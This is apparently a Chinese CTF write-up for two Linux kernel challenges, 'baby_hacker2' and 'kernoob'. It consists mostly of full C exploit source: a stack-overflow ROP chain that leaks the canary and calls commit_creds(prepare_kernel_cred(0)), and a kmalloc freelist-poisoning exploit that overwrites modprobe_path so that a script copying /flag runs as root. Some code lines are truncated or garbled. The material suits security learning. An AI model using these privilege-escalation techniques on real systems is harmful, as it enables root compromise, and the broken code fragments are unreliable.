a = map(lambda x : int(x, 16), io.recvuntil(" \x1B[0m\n", drop=True).split("-"))
b = map(ord, struct.pack("
baby_hacker2 | solved(after game)
经典栈溢出, 没啥好说的.
//gcc --static -O0 exp.c -o exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
uint64_t PKC_ADDR=0;
uint64_t CC_ADDR=0;
void die(char *msg){
puts(msg);
exit(-1);
}
typedef struct TrapFrameSt {
void *rip;
uint64_t cs;
uint64_t eflags;
void *rsp;
uint64_t ss;
} TrapFrame;
void get_shell(){
if (getuid() == 0)
system("/bin/sh");
else
die("[get_shell] uid != 0");
}
TrapFrame trap_frame;
void save_status(){
uint64_t rsp;
uint32_t cs, eflags, ss;
cs = 0;
asm volatile("movl %%cs, %0;"
"pushf;"
"pop %%rax;"
"movl %%eax, %1;"
"movq %%rsp, %2;"
"movl %%ss, %3;"
: "=r"(cs), "=r"(eflags), "=r"(rsp), "=r"(ss)
:
: "rax"
);
trap_frame.rip = &get_shell;
trap_frame.cs = cs;
trap_frame.eflags = eflags;
trap_frame.rsp = (void *)rsp;
trap_frame.ss = ss;
printf("[save_status]\nrip : %p\ncs:%#x\neflags:%#x\nrsp:%p\nss:%#x\n\n", &get_shell, cs, eflags, rsp, ss);
}
void set_size(int fd, int size){
if (ioctl(fd, 0x30000, (1<<31) | size) != 0)
die("set size ioctl error");
}
void dev_write(int fd, char *buf){
if (ioctl(fd, 0x30001, buf) != 0)
die("dev write error");
}
void dev_read(int fd, char *buf){
if (ioctl(fd, 0x30002, buf) != 0)
die("dev read error");
}
int main(){
signal(SIGSEGV, get_shell);
save_status();
//construct the payload...
int fd = open("/dev/babyhacker", 0);
if (fd < 0)
die("open dev error");
set_size(fd, 0x260);
char *buf = calloc(1, 0x270);
dev_read(fd, buf);
uint64_t canary = *(uint64_t *)(buf + 0x140);
printf("canray %p\n", canary);
uint64_t stack_addr = *(uint64_t *)(buf + 0x148);
printf("stack addr %p\n", stack_addr);
uint64_t ret_addr = *(uint64_t *)(buf + 0x150);
printf("ret addr %p\n", ret_addr);
uint64_t kernel_base = ret_addr - 0x219218;
uint64_t kernel_offset = kernel_base - 0xffffffff81000000;
printf("kernel base %p\n", kernel_base);
PKC_ADDR = kernel_base + 0xa1820ull;
CC_ADDR = kernel_base + 0Xa1430ull;
// dev_write(fd, "aaaabbbbccccdddd");
int idx = 40;
uint64_t *p1 = calloc(1, 0x270);
p1[idx++] = canary; // canary
p1[idx++] = 0; // saved rbp
p1[idx++] = kernel_offset + 0xffffffff8109054d; // pop rdi; ret;
p1[idx++] = 0;
p1[idx++] = PKC_ADDR;
p1[idx++] = kernel_offset + 0xffffffff81083f22; // pop rdx; ret;
p1[idx++] = stack_addr - 0x188;
p1[idx++] = kernel_offset + 0xffffffff8116cb43; // mov [rdx], rax; ret;
p1[idx++] = kernel_offset + 0xffffffff8109054d; // pop rdi; ret;
p1[idx++] = 0xdeadbeef;
p1[idx++] = CC_ADDR;
p1[idx++] = kernel_offset + 0xffffffff810636b4; //swapgs; pop rbp; ret;
p1[idx++] = 0;
p1[idx++] = kernel_offset + 0xffffffff8168b278; //iretq
memcpy(&p1[idx], &trap_frame, sizeof(TrapFrame));
dev_write(fd, (char *)p1);
return 0;
}
kernoob | solved (after game)
第一次做内核堆题. 赛后参考 kirin 的wp复现了一遍, 学到了很多.
看了一下 kmalloc 的源码之后发现其实kmalloc组织被free 的object 的方式和 fastbin 很像, 也是通过单向链表. 不过这儿的链表指针用了 一个 random 数去异或. 所以想要利用的话需要先 leak 这个 random 数.
内核堆题一个比较麻烦的点就在于 kmalloc 可能随时会被内核的其它代码调用. 所以malloc/free 的次数, object 之间的偏移都具有一定的随机性. 我写exp的时候为了利用已有信息尽量消灭随机性做了不少工作.
此外, 还学到了一种新的提权方式(利用 modprobe_path). kirin 的blog中还提到了修改 /bin/umount 来提权. 提权的骚操作太多了.
最终exp如下
//gcc --static -O0 exp.c -o exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
uint64_t PKC_ADDR=0xffffffff810ad7e0;
uint64_t CC_ADDR=0xffffffff810ad430;
void die(char *msg){
puts(msg);
exit(-1);
}
void add_note(int fd, uint64_t idx, uint64_t size){
uint64_t args[3] = {idx, 0, size};
if (ioctl(fd, 0x30000, &args) != 0)
die("add error");
}
void remove_note(int fd, uint64_t idx){
uint64_t _idx = idx;
if (ioctl(fd, 0x30001, &_idx) != 0)
die("remove error");
}
void edit_note(int fd, uint64_t idx, uint64_t size, char *buf){
uint64_t args[3] = {idx, (uint64_t)buf, size};
if (ioctl(fd, 0x30002, &args) != 0)
die("edit error");
}
void show_note(int fd, uint64_t idx, uint64_t size, char *buf){
uint64_t args[3] = {idx, (uint64_t)buf, size};
if (ioctl(fd, 0x30003, &args) != 0)
die("show error");
}
uint64_t hex_print(void *_mem, int cnt){
uint64_t *mem = (uint64_t *) _mem;
for (int i=0; i> 48) <<16);
printf("try to mmap : %#llx\n", mmap_addr);
uint64_t mmap_mem = mmap(mmap_addr, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
if (mmap_mem == -1)
die("mmap failed");
uint64_t mmap_addr2 = (random & 0xffffffff0000) ^ 0xffffc0000000;
uint64_t mmap_mem2;
printf("try to mmap2 : %#llx\n", mmap_addr2);
if ((mmap_mem2 = mmap(mmap_addr2, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0)) == -1)
die("mmap 2 failed");
uint64_t tmp = ((ptrs_addr + 0x1bc) ^ random) & ((1ull << 48) - 1);
*((uint64_t *) tmp ) = tmp ^ random;
printf("mmap2 at : %#llx\n", mmap_mem2);
((uint64_t *)mmap_mem2)[0] = mmap_mem2 ^ random;
printf("mmap success at : %#llx\n", mmap_mem);
((uint64_t *)mmap_mem)[0] = (mmap_mem) ^ random ^ (mmap_mem + 8);
((uint64_t *)mmap_mem)[1] = (mmap_mem+8) ^ random ^ (ptrs_addr + 0x1bc);
uint64_t fake = heap_addr2 ^ random ^ mmap_mem;
buff[0] = fake;
printf("fake : %#llx\n", fake);
remove_note(fd, idx2);
edit_note(fd, idx2, chunk_size, buf);
add_note(fd, 0x1f, chunk_size);
add_note(fd, 0x1c, chunk_size);
add_note(fd, 0x1d, chunk_size);
add_note(fd, 0x1e, chunk_size);
add_note(fd, 0x1b, chunk_size);
add_note(fd, 0x1a, chunk_size);
// add_note(fd, 0x1b, chunk_size);
buff = buf+4;
buff[0] = 0xffffffff8245aba0; //
edit_note(fd, 0x1e, 0xc, buf);
char *copy = "/home/pwn/copy.sh\0";
edit_note(fd, 0x1c, strlen(copy), copy);
return 0;
}
执行完之后 modprobe_path 的内容就变成了 "/home/pwn/copy.sh".
/home/pwn/copy.sh 内容如下
~ $ cat ./copy.sh
#!/bin/sh
/bin/cp /flag /home/pwn/flag
/bin/chmod 777 /flag
/bin/chmod 777 /home/pwn/flag
执行一个 非法 ELF 文件即可触发 执行 copy.sh
~ $ /exp
...
~ $ echo -e "\xff\xff\xff" > ./pu1p
~ $ ls
copy.sh k noob.ko pu1p
~ $ chmod a+x ./pu1p
~ $ ./pu1p
./pu1p: line 1: ▒▒▒: not found
~ $ ls
copy.sh flag k noob.ko pu1p
~ $ cat flag
flag{test}
参考
[1] Kernoob: kmalloc without SMAP
[2] kmalloc 源码分析